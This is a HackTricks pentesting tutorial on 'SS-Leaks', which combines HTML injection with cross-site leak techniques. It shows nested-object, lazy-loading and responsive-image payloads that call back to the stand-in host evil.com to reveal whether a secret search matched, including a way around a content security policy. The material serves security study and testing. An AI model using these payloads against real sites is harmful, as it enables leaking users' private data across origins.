hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

6.7 KiB

SS-Leaks

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

This is a mix between dangling markup and XS-Leaks. From one side the vulnerability allows to inject HTML (but not JS) in a page of the same origin of the one we will be attacking. On the other side we won't attack directly the page where we can inject HTML, but another page.

Nested Objects

If the /api/v1/leaky?secret=a endpoint returns a 404 status code, then the inner object is loaded, giving a callback to https://evil.com?callback=a and letting us know that the search query a yielded no results.

<object data="/api/v1/leaky?secret=a">
    <object data="https://evil.com?callback=a"></object>
</object>

Lazy Loading

What if CSP blocks external objects? Let's try again with the following CSP:

Content-Security-Policy: default-src 'self'; img-src *;

Our callback object from above no longer works. In its place, we can use image lazy loading! The following image will only load when it is visible and within a certain distance from the viewport.

<object data="/api/v1/leaky?secret=a">
    <img src="https://evil.com?callback" loading="lazy">
</object>

Responsive Images

The above technique is great, but it relies on our HTML injection being within the user's viewport.

If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and scroll-to-text-fragment to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.

Enter responsive images! Specifically, the srcset and sizes attributes of images.

{% code overflow="wrap" %}

<object data="/api/v1/leaky?secret=a">
    <iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>

{% endcode %}

There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.

This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the sizes attribute, we can use media queries to choose which URL to load the image from, depending on the viewport size.

{% code overflow="wrap" %}

<img 
    srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w' 
    sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}

Because our iframe has width="1000px", the following happens:

  1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the (min-width: 1000px) media query and loads the 800px image from https://evil.com?callback=0.
  2. If the leaky endpoint returns a 200 status code, the iframe is not displayed. Since the image is not being rendered as part of a large iframe, it matches the (max-width 999px) media query and loads the 480px image from https://evil.com?callback=1.

References

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥